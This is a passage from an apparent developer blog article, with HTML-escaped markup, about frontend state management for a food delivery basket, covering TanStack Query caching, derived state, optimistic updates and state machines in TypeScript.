&lt;li&gt;HTTP transport&lt;/li&gt;
&lt;li&gt;Cache&lt;/li&gt;
&lt;li&gt;Client state ownership&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now every consumer needs to understand when &lt;code&gt;currentBasket&lt;/code&gt; was loaded, whether it is stale, and who is allowed to change it.&lt;/p&gt;

&lt;p&gt;Calling something a “service” does not make those responsibilities disappear.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Treat fetched data as server state
&lt;/h2&gt;

&lt;p&gt;The restaurant menu, current prices, item availability, basket, and orders belong to the server.&lt;/p&gt;

&lt;p&gt;The browser only has a temporary snapshot of them.&lt;/p&gt;

&lt;p&gt;That snapshot has a lifecycle:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;loading → fresh → stale → refetching → fresh
               ↘ error
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is different from UI state such as whether a dialog is open.&lt;/p&gt;

&lt;p&gt;For the basket, we can make the ownership explicit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;basketKeys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;all&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;basket&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="na"&gt;basketId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nx"&gt;basketKeys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;all&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;basketId&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;useBasket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;basketId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;useQuery&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;queryKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;basketKeys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;basketId&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="na"&gt;queryFn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;basketApi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;basketId&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="na"&gt;staleTime&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="nx"&gt;_000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;TanStack Query owns the browser cache.&lt;/p&gt;

&lt;p&gt;The backend still owns the canonical basket.&lt;/p&gt;

&lt;p&gt;That sentence is important because a cache is stateful, but it is not necessarily the source of truth.&lt;/p&gt;

&lt;p&gt;If another tab, device, or backend process changes the basket, our cached value can become stale. The architecture must expect that.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Do not store derived state
&lt;/h2&gt;

&lt;p&gt;Suppose our basket looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;Basket&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;vendorId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;BasketItem&lt;/span&gt;&lt;span class="p"&gt;[];&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It may be tempting to create another global state value:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;BasketStore&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;basket&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Basket&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;totalItems&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;subtotal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But &lt;code&gt;totalItems&lt;/code&gt; and &lt;code&gt;subtotal&lt;/code&gt; can be calculated from &lt;code&gt;basket.items&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getBasketSummary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;basket&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Basket&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;basket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reduce&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;summary&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;totalItems&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;summary&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;totalItems&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;subtotal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nx"&gt;summary&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subtotal&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;price&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;}),&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;totalItems&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;subtotal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we store all three values independently, we create three things that must always change together.&lt;/p&gt;

&lt;p&gt;Eventually one update path will forget one of them.&lt;/p&gt;

&lt;p&gt;Now the basket badge says &lt;code&gt;3&lt;/code&gt;, the basket contains &lt;code&gt;4&lt;/code&gt; items, and checkout calculates a third number.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Every duplicated state creates a synchronization problem we must solve forever.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Derived values should remain stateless calculations unless profiling proves that memoization is necessary.&lt;/p&gt;

&lt;p&gt;And memoization is still not a second source of truth. It is a performance detail.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Put workflow state in a feature controller
&lt;/h2&gt;

&lt;p&gt;Adding food to a basket is more than one API call.&lt;/p&gt;

&lt;p&gt;We want the UI to respond immediately, send the command, handle failure, and reconcile with the server response.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0cufcxig7jshk75b8h87.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0cufcxig7jshk75b8h87.png" alt="Optimistic add-to-basket flow" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The stateful part belongs in a feature-level controller or hook:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;useAddBasketItem&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;queryClient&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useQueryClient&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;useMutation&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;mutationFn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;basketApi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;addItem&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

    &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;onMutate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;basketKeys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;basketId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

      &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;queryClient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cancelQueries&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;queryKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;previous&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="nx"&gt;queryClient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getQueryData&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Basket&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

      &lt;span class="nx"&gt;queryClient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setQueryData&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Basket&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;basket&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
        &lt;span class="nx"&gt;basket&lt;/span&gt;
          &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nf"&gt;addItemOptimistically&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;basket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
          &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;basket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="p"&gt;);&lt;/span&gt;

      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;previous&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;

    &lt;span class="nf"&gt;onError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_error&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;queryClient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setQueryData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nx"&gt;basketKeys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;basketId&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;previous&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;

    &lt;span class="nf"&gt;onSuccess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;serverBasket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;queryClient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setQueryData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nx"&gt;basketKeys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;basketId&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="nx"&gt;serverBasket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the optimistic transformation itself remains stateless:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;addItemOptimistically&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;basket&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Basket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AddBasketItemCommand&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;Basket&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;existing&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;basket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foodId&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foodId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;existing&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;basket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;basket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="na"&gt;foodId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foodId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="na"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="na"&gt;price&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;optimisticPrice&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;basket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;basket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foodId&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foodId&lt;/span&gt;
        &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;quantity&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This separation gives us a useful shape:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Stateless transformation
        +
Stateful orchestration
        +
Stateless transport
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The orchestration is stateful because it deals with time:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Before the request&lt;/li&gt;
&lt;li&gt;During the request&lt;/li&gt;
&lt;li&gt;After success&lt;/li&gt;
&lt;li&gt;After failure&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Trying to make this workflow completely stateless would not help. The workflow is inherently temporal.&lt;/p&gt;

&lt;p&gt;The goal is to keep that temporal complexity in one visible place.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Model restaurant switching as a state machine
&lt;/h2&gt;

&lt;p&gt;A food delivery basket often belongs to one restaurant.&lt;/p&gt;

&lt;p&gt;Suppose the current basket contains food from vendor A, and the user tries to add food from vendor B.&lt;/p&gt;

&lt;p&gt;Now we have a business decision:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;idle
  → checking basket
  → waiting for confirmation
  → replacing basket
  → adding item
  → completed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This should not be represented as a collection of unrelated booleans:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Invalid combinations are possible.&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;isLoading&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;isConfirmModalOpen&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;isReplacingBasket&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;hasError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Can the flow be loading, waiting for confirmation, replacing the basket, and failed at the same time?&lt;/p&gt;

&lt;p&gt;Probably not.&lt;/p&gt;

&lt;p&gt;A discriminated union makes the valid states explicit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;AddFoodFlow&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
